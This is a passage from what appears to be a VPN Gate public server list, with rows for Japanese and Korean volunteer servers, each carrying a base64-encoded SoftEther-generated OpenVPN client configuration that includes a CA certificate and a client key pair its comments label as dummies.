pacmtDd05ZU1hKdU9ESjNtL2hPTFZ4Y3hnSnV3WG9pRXJXZDBFNDJ2UGFuampWTWhudA0KS1k1bDhxR01KNkZoSzlMWXgycUNyZi9FMFh0VUFaMndWcTNPUlR5R25zTVdyZTl0TFlzNTVYK1pOMTBUYzc1eg0KNGhhY2JVMGhxS04xSGlEbXNNUlkzLzJOYVpIb3k3TUtud0pKQmFHNDhsOUNDVGxWd01Ib2NJRUNnWUVBOGpieQ0KZEdqeFRIKzZYSFdOaXpiNVNSYlp4QW55RWVKZVJ3VE1oMGdHendHUHBIL3NaWUd6eXUwU3lTWFdDblpoM1JncQ0KNXVMbE54dHJYcmxqWmx5aTJuUWRRZ3NxMllyV1VzMCt6Z1UrMjJ1UXNacFNBZnRtaFZydHZldDZNalZqYkJ5WQ0KREFEY2lFVlVkSllJWGsrcW5GVUp5ZXJvTElrVGo3V1lLWjZSamtzQ2dZQm9DRkl3UkRlZzQyb0s4OVJGbW5Pcg0KTHltTkFxNCsyb01oc1dsVmI0ZWpXSVdlQWs5bmMrR1hVZnJYc3pSaFMwMW1VblU1cjV5Z1V2UmNhclYvVDNVNw0KVG5NWitJN1k0RGdXUklEZDUxem5oeElCdFlWNWovQy90ODVIanFPa0grOGI2UlRrYmNoYVgzbWF1N2ZwVWZkcw0KRnEwbmhJcTQyZmhFTzhzcmZZWXdnUUtCZ1FDeWhpMU4vOHRhUndwayszL0lERXpRd2piZmR6VWtXV1NEazlYcw0KSC9wa3VSSFdmVE1QM2ZsV3FFWWdXL0xXNDBwZVcySERxNWltZFY4K0FnWnhlL1hNYmFqaTlMZ3dmMVJZMDA1bg0KS3hhWlF6N3lxSHVwV2xMR0Y2OERQSHhrWlZWU2FnRG5WL3N6dFdYNlNGc0NxRlZueElYaWZYR0M0Y1c1Tm05Zw0KdmE4cTRRS0JnUUNFaExWZVVmZHdLdmtaOTRnL0dGejczMVoyaHJkVmhnTVphVS91NnQwVjk1K1llelBOQ1FaQg0Kd21FOU1tbGJxMWVtRGVST2l2akNmb0doUjNrWlhXMXBUS2xMaDZaTVVRVU9wcHRkWHZhOFh4Zm9xUXdhM2VuQQ0KTTdtdUJiRjBYTjdWTzgwaUpQditQbUlaZEVJQWtwd0tmaTIwMVlCK0JhZkNJdUd4SUY1MFZnPT0NCi0tLS0tRU5EIFJTQSBQUklWQVRFIEtFWS0tLS0tDQoNCjwva2V5Pg0KDQo= +vpn304821056,114.159.199.144,683674,23,198926451,Japan,JP,0,67844195,639640,81083253602657,2weeks,dora's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHVkcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxMTQuMTU5LjE5OS4xNDQgMTc5MQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIEhUVFAvSFRUUFMgcHJveHkgc2V0dGluZy4NCiMgDQojIE9ubHkgaWYgeW91IGhhdmUgdG8gdXNlIHRoZSBJbnRlcm5ldCB2aWEgYSBwcm94eSwgdW5jb21tZW50IHRoZSBiZWxvdw0KIyB0d28gbGluZXMgYW5kIHNwZWNpZnkgdGhlIHByb3h5IGFkZHJlc3MgYW5kIHRoZSBwb3J0IG51bWJlci4NCiMgSW4gdGhlIGNhc2Ugb2YgdXNpbmcgcHJveHktYXV0aGVudGljYXRpb24sIHJlZmVyIHRoZSBPcGVuVlBOIG1hbnVhbC4NCg0KO2h0dHAtcHJveHktcmV0cnkNCjtodHRwLXByb3h5IFtwcm94eSBzZXJ2ZXJdIFtwcm94eSBwb3J0XQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGVuY3J5cHRpb24gYW5kIGF1dGhlbnRpY2F0aW9uIGFsZ29yaXRobS4NCiMgDQojIERlZmF1bHQgc2V0dGluZyBpcyBnb29kLiBNb2RpZnkgaXQgYXMgeW91IHByZWZlci4NCiMgV2hlbiB5b3Ugc3BlY2lmeSBhbiB1bnN1cHBvcnRlZCBhbGdvcml0aG0sIHRoZSBlcnJvciB3aWxsIG9jY3VyLg0KIyANCiMgVGhlIHN1cHBvcnRlZCBhbGdvcml0aG1zIGFyZSBhcyBmb2xsb3dzOg0KIyAgY2lwaGVyOiBbTlVMTC1DSVBIRVJdIE5VTEwgQUVTLTEyOC1DQkMgQUVTLTE5Mi1DQkMgQUVTLTI1Ni1DQkMgQkYtQ0JDDQojICAgICAgICAgIENBU1QtQ0JDIENBU1Q1LUNCQyBERVMtQ0JDIERFUy1FREUtQ0JDIERFUy1FREUzLUNCQyBERVNYLUNCQw0KIyAgICAgICAgICBSQzItNDAtQ0JDIFJDMi02NC1DQkMgUkMyLUNCQyBDQU1FTExJQS0xMjgtQ0JDIENBTUVMTElBLTE5Mi1DQkMgQ0FNRUxMSUEtMjU2LUNCQw0KIyAgZGF0YS1jaXBoZXJzOiBzYW1lIGFzIGNpcGhlcg0KIyAgYXV0aDogICBTSEEgU0hBMSBTSEEyNTYgU0hBMzg0IFNIQTUxMiBNRDUgTUQ0IFJNRDE2MA0KIw0KIyBOb3RlOiBUbyBzb2x2ZSBPcGVuVlBOIGNvbXBhdGliaWxpdHkgYnVnDQojIFJlY2VudCB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHAgcmVxdWlyZSBzcGVjaWZ5aW5nIHRoZSAiZGF0YS1jaXBoZXJzIg0KIyBmaWVsZCBpbnN0ZWFkIG9mIHRoZSAiY2lwaGVyIiBmaWVsZC4gSG93ZXZlciwgb2xkZXIgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwDQojIGRvIG5vdCByZWNvZ25pemUgImRhdGEtY2lwaGVycy4iIFJhdGhlciB0aGFuIGlnbm9yaW5nIGl0LCB0aGV5IHByb2R1Y2UNCiMgYSBzdGFydHVwIGVycm9yIHN0YXRpbmcgdGhhdCAibm8gc3VjaCBvcHRpb24gZXhpc3RzLiIgVGhpcyBpcyBhIGJ1Zw0KIyBpbiBPcGVuVlBOLiBJZiB5b3UgZW5jb3VudGVyIHRoaXMgaXNzdWUsIHBsZWFzZSBjb21tZW50IG91dA0KIyB0aGUgImRhdGEtY2lwaGVycyIgbGluZS4NCg0KY2lwaGVyIEFFUy0xMjgtQ0JDDQpkYXRhLWNpcGhlcnMgQUVTLTEyOC1DQkMNCmF1dGggU0hBMQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgT3RoZXIgcGFyYW1ldGVycyBuZWNlc3NhcnkgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlci4NCiMgDQojIEl0IGlzIG5vdCByZWNvbW1lbmRlZCB0byBtb2RpZnkgaXQgdW5sZXNzIHlvdSBoYXZlIGEgcGFydGljdWxhciBuZWVkLg0KDQpyZXNvbHYtcmV0cnkgaW5maW5pdGUNCm5vYmluZA0KcGVyc2lzdC1rZXkNCnBlcnNpc3QtdHVuDQpjbGllbnQNCnZlcmIgMw0KI2F1dGgtdXNlci1wYXNzDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2VydGlmaWNhdGUgZmlsZSBvZiB0aGUgZGVzdGluYXRpb24gVlBOIFNlcnZlci4NCiMgDQojIFRoZSBDQSBjZXJ0aWZpY2F0ZSBmaWxlIGlzIGVtYmVkZGVkIGluIHRoZSBpbmxpbmUgZm9ybWF0Lg0KIyBZb3UgY2FuIHJlcGxhY2UgdGhpcyBDQSBjb250ZW50cyBpZiBuZWNlc3NhcnkuDQojIFBsZWFzZSBub3RlIHRoYXQgaWYgdGhlIHNlcnZlciBjZXJ0aWZpY2F0ZSBpcyBub3QgYSBzZWxmLXNpZ25lZCwgeW91IGhhdmUgdG8NCiMgc3BlY2lmeSB0aGUgc2lnbmVyJ3Mgcm9vdCBjZXJ0aWZpY2F0ZSAoQ0EpIGhlcmUuDQoNCjxjYT4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJRmF6Q0NBMU9nQXdJQkFnSVJBSUlRejdEU1FPTlpSR1BndTJPQ2l3QXdEUVlKS29aSWh2Y05BUUVMQlFBdw0KVHpFTE1Ba0dBMVVFQmhNQ1ZWTXhLVEFuQmdOVkJBb1RJRWx1ZEdWeWJtVjBJRk5sWTNWeWFYUjVJRkpsYzJWaA0KY21Ob0lFZHliM1Z3TVJVd0V3WURWUVFERXd4SlUxSkhJRkp2YjNRZ1dERXdIaGNOTVRVd05qQTBNVEV3TkRNNA0KV2hjTk16VXdOakEwTVRFd05ETTRXakJQTVFzd0NRWURWUVFHRXdKVlV6RXBNQ2NHQTFVRUNoTWdTVzUwWlhKdQ0KWlhRZ1UyVmpkWEpwZEhrZ1VtVnpaV0Z5WTJnZ1IzSnZkWEF4RlRBVEJnTlZCQU1UREVsVFVrY2dVbTl2ZENCWQ0KTVRDQ0FpSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnSVBBRENDQWdvQ2dnSUJBSzNvSkhQMEZEZnptNTRyVnlnYw0KaDc3Y3Q5ODRrSXh1UE9aWG9IajNkY0tpL3ZWcWJ2WUFUeWpiM21pR2JFU1R0ckZqL1JRU2E3OGYwdW94bXlGKw0KMFRNOHVrajEzWG5mczdqL0V2RWhta3ZCaW9aeGFVcG1abXlQZmp4d3Y2MHBJZ2J6NU1EbWdLN2lTNCszbVg2VQ0KQTUvVFI1ZDhtVWdqVStnNHJrOEtiNE11MFVsWGpJQjB0dG92MERpTmV3TndJUnQxOGpBOCtvK3UzZHBqcStzVw0KVDhLT0VVdCt6d3ZvLzdWM0x2U3llMHJnVEJJbERIQ05BeW1nNFZNazdCUFo3aG0vRUxOS2pEK0pvMkZSM3F5SA0KQjVUMFkzSHNMdUp2VzVpQjRZbGNOSGxzZHU4N2tHSjU1dHVrbWk4bXhkQVE0UTdlMlJDT0Z2dTM5NmozeCtVQw0KQjVpUE5naVY1K0kzbGcwMmRaNzdEbkt4SFp1OEEvbEpCZGlCM1FXMEt0WkI2YXdCZHBVS0Q5amYxYjBTSHpVdg0KS0JkczBwakJxQWxrZDI1SE43ck9yRmxlYUoxL2N0YUp4UVpCS1Q1WlB0MG05U1RKRWFkYW8weEFIMGFobWJXbg0KT2xGdWhqdWVmWEtuRWdWNFdlMCtVWGdWQ3dPUGpkQXZCYkkrZTBvY1MzTUZFdnpHNnVCUUUzeERrM1N6eW5Ubg0Kamg4QkNOQXcxRnR4TnJRSHVzRXdNRnhJdDRJN21LWjlZSXFpb3ltQ3pMcTlnd1Fib29NRFFhSFdCZkVid3Jidw0KcUh5R08wYW9TQ3FJM0hhYWRyOGZhcVU5R1kvck9QTmszc2dyRFFvby8vZmI0aFZDMUNMUUoxM2hlZjRZNTNDSQ0KclU3bTJZczZ4dDBuVVc3L3ZHVDFNME5QQWdNQkFBR2pRakJBTUE0R0ExVWREd0VCL3dRRUF3SUJCakFQQmdOVg0KSFJNQkFmOEVCVEFEQVFIL01CMEdBMVVkRGdRV0JCUjV0Rm5tZTdibDVBRnpnQWlJeUJwWTl1bWJiakFOQmdrcQ0KaGtpRzl3MEJBUXNGQUFPQ0FnRUFWUjlZcWJ5eXFGRFFETEhZR21rZ0p5a0lyR0YxWElwdStJTGxhUy9WOWxaTA0KdWJoekVGblRJWmQrNTB4eCs3TFNZSzA1cUF2cUZ5RldoZkZRRGxucnp1Qlo2YnJKRmUrR25ZK0VnUGJrNlpHUQ0KM0JlYllodEY4R2FWMG54dnd1bzc3eC9QeTlhdUovR3BzTWl1L1gxK212b2lCT3YvMlgvcWtTc2lzUmNPai9LSw0KTkZ0WTJQd0J5VlM1dUNiTWlvZ3ppVXd0aER5QzMrNldWd1c2TEx2M3hMZkhUanVDdmpISUluTnprdEhDZ0tRNQ0KT1JBekk0Sk1QSitHc2xXWUhiNHBob3dpbTU3aWF6dFhPb0p3VGR3Sng0bkxDZ2ROYk9oZGpzbnZ6cXZIdTdVcg0KVGtYV1N0QW16T1Z5eWdocXBaWGpGYUgzcE8zSkxGK2wrLytzS0FJdXZ0ZDd1K054ZTVBVzB3ZGVSbE44TndkQw0Kak5QRWxwelZtYlVxNEpVYWdFaXVURGtIenN4SHBGS1ZLN3E0KzYzU00xTjk1UjFOYmRXaHNjZENiK1pBSnpWYw0Kb3lpM0I0M25qVE9RNXlPZisxQ2NlV3hHMWJRVnM1WnVmcHNNbGpxNFVpMC8xbHZoK3dqQ2hQNGtxS09KMnF4cQ0KNFJncXNhaERZVnZUSDl3N2pYYnlMZWlOZGQ4WE0ydzlVL3Q3eTBGZi85eWkwR0U0NFphNHJGMkxOOWQxMVRQQQ0KbVJHdW5VSEJjbldFdmdKQlFsOW5KRWlVMFpzbnZnYy91YmhQZ1hSUjRYcTM3WjBqNHI3ZzFTZ0VFend4QTU3ZA0KZW15UHhnY1l4bi9lUjQ0L0tKNEVCcytsVkRSM3ZleUptK2tYUTk5YjIxLytqaDVYb3MxQW5YNWlJdHJlR0NjPQ0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NhPg0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNsaWVudCBjZXJ0aWZpY2F0ZSBmaWxlIChkdW1teSkuDQojIA0KIyBJbiBzb21lIGltcGxlbWVudGF0aW9ucyBvZiBPcGVuVlBOIENsaWVudCBzb2Z0d2FyZQ0KIyAoZm9yIGV4YW1wbGU6IE9wZW5WUE4gQ2xpZW50IGZvciBpT1MpLA0KIyBhIHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlIGFuZCBwcml2YXRlIGtleSBtdXN0IGJlIGluY2x1ZGVkIG9uIHRoZQ0KIyBjb25maWd1cmF0aW9uIGZpbGUgZHVlIHRvIHRoZSBsaW1pdGF0aW9uIG9mIHRoZSBjbGllbnQuDQojIFNvIHRoaXMgc2FtcGxlIGNvbmZpZ3VyYXRpb24gZmlsZSBoYXMgYSBkdW1teSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZQ0KIyBhbmQgcHJpdmF0ZSBrZXkgYXMgZm9sbG93cy4NCg0KPGNlcnQ+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUN4akNDQWE0Q0FRQXdEUVlKS29aSWh2Y05BUUVGQlFBd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnMNCmFXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFFNQjRYRFRFek1ESXhNVEF6TkRrME9Wb1hEVE0zTURFeE9UQXoNCk1UUXdOMW93S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOc2FXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFENCk1JSUJJakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBUThBTUlJQkNnS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkENCjVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVJ3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQNCjRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmN6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1ENCkNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2k1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjcNClhDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4vMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmgNCnAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkFtcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0QNCnl3SURBUUFCTUEwR0NTcUdTSWIzRFFFQkJRVUFBNElCQVFDaE81aGdjdy80b1dmb0VGTHU5a0JhMUIvL2t4SDgNCmhRa0NoVk5uOEJSQzdZMFVSUWl0UGwzREtFZWQ5VVJCRGRnMktPQXo3N2JiNkVOUGlsaUQrYTM4VUpISVJNcWUNClVCSGhsbE9ISXp2RGhIRmJhb3ZBTEJRY2VlQnpka1F4c0tRRVNLbVFtUjgzMjk1MFVDb3ZveVJCNjFVeUFWN2gNCittWmhZUEdSS1hLU0pJNnMwRWdnL0NyaStDd2s0YmpKZnJiNWhWc2UxMXloNEQ5TUhod1NmQ09IKzB6NGhQVVQNCkZrdTdkR2F2VVJPNVNWeE1uL3NMNkVuNUQrb1NlWGthZEhwRHMrQWlyeW0yWUhoMTVoMCtqUFNPb1I2eWlWcC8NCjZ6WmVaa3JONDNrdVM3M0twS0RGamZGUGg4dDRyMWdPSWp0dGtOY1FxQmNjdXNucGxRN0hKcHNrDQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2VydD4NCg0KPGtleT4NCi0tLS0tQkVHSU4gUlNBIFBSSVZBVEUgS0VZLS0tLS0NCk1JSUVwQUlCQUFLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQTVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVINCndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRDRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmMNCnpXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUUNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2kNCjU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2N1hDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4NCi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aHAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkENCm1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRHl3SURBUUFCQW9JQkFFUlY3WDVBdnhBOHVSaUsNCms4U0lwc0QwZFgxcEpPTUl3YWtVVnl2YzRFZk4wRGhLUk5iNHJZb1NpRUdUTHl6THB5QmMvQTI4RGxrbTVlT1kNCmZqelhmWWtHdFlpL0Z0eGtnM085dmNyTVE0KzZpK3VHSGFJTDJyTCtzNE1yZk84djF4djYrV2t5MzNFRUdDb3UNClFpd1ZHUkZRWG5Sb1E2Mk5CQ0ZiVU5MaG1Yd2RqMWFrWnpMVTRwNVI0ekEzUWhkeHdFSWF0Vkx0MCs3b3dMUTMNCmxQOHNmWGhwcFBPWGpUcU1ENFFrWXd6UEFhOC96RjdhY240a3J5clVQN1E2UEFmZDB6RVZxTnk5WkNaOWZmaG8NCnpYZWRGajQ4NklGb2M1Z25UcDJONmpzblZqNExDR0lobFZIbFlHb3pLS0ZxSmNRVkdzSENxcTFvejJ6alc2TFMNCm9SWUlIZ0VDZ1lFQTh6WnJrQ3dOWVNYSnVPREozbS9oT0xWeGN4Z0p1d1hvaUVyV2QwRTQydlBhbmpqVk1obnQNCktZNWw4cUdNSjZGaEs5TFl4MnFDcmYvRTBYdFVBWjJ3VnEzT1JUeUduc01XcmU5dExZczU1WCtaTjEwVGM3NXoNCjRoYWNiVTBocUtOMUhpRG1zTVJZMy8yTmFaSG95N01LbndKSkJhRzQ4bDlDQ1RsVndNSG9jSUVDZ1lFQThqYnkNCmRHanhUSCs2WEhXTml6YjVTUmJaeEFueUVlSmVSd1RNaDBnR3p3R1BwSC9zWllHenl1MFN5U1hXQ25aaDNSZ3ENCjV1TGxOeHRyWHJsalpseWkyblFkUWdzcTJZcldVczAremdVKzIydVFzWnBTQWZ0bWhWcnR2ZXQ2TWpWamJCeVkNCkRBRGNpRVZVZEpZSVhrK3FuRlVKeWVyb0xJa1RqN1dZS1o2Umprc0NnWUJvQ0ZJd1JEZWc0Mm9LODlSRm1uT3INCkx5bU5BcTQrMm9NaHNXbFZiNGVqV0lXZUFrOW5jK0dYVWZyWHN6UmhTMDFtVW5VNXI1eWdVdlJjYXJWL1QzVTcNClRuTVorSTdZNERnV1JJRGQ1MXpuaHhJQnRZVjVqL0MvdDg1SGpxT2tIKzhiNlJUa2JjaGFYM21hdTdmcFVmZHMNCkZxMG5oSXE0MmZoRU84c3JmWVl3Z1FLQmdRQ3loaTFOLzh0YVJ3cGsrMy9JREV6UXdqYmZkelVrV1dTRGs5WHMNCkgvcGt1UkhXZlRNUDNmbFdxRVlnVy9MVzQwcGVXMkhEcTVpbWRWOCtBZ1p4ZS9YTWJhamk5TGd3ZjFSWTAwNW4NCkt4YVpRejd5cUh1cFdsTEdGNjhEUEh4a1pWVlNhZ0RuVi9zenRXWDZTRnNDcUZWbnhJWGlmWEdDNGNXNU5tOWcNCnZhOHE0UUtCZ1FDRWhMVmVVZmR3S3ZrWjk0Zy9HRno3MzFaMmhyZFZoZ01aYVUvdTZ0MFY5NStZZXpQTkNRWkINCndtRTlNbWxicTFlbURlUk9pdmpDZm9HaFIza1pYVzFwVEtsTGg2Wk1VUVVPcHB0ZFh2YThYeGZvcVF3YTNlbkENCk03bXVCYkYwWE43Vk84MGlKUHYrUG1JWmRFSUFrcHdLZmkyMDFZQitCYWZDSXVHeElGNTBWZz09DQotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQ0KDQo8L2tleT4NCg0K +vpn299097372,221.159.95.88,682731,29,610758848,Korea Republic of,KR,13,95540195,7175,979462731708,2weeks,DESKTOP-6SFDARP's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXI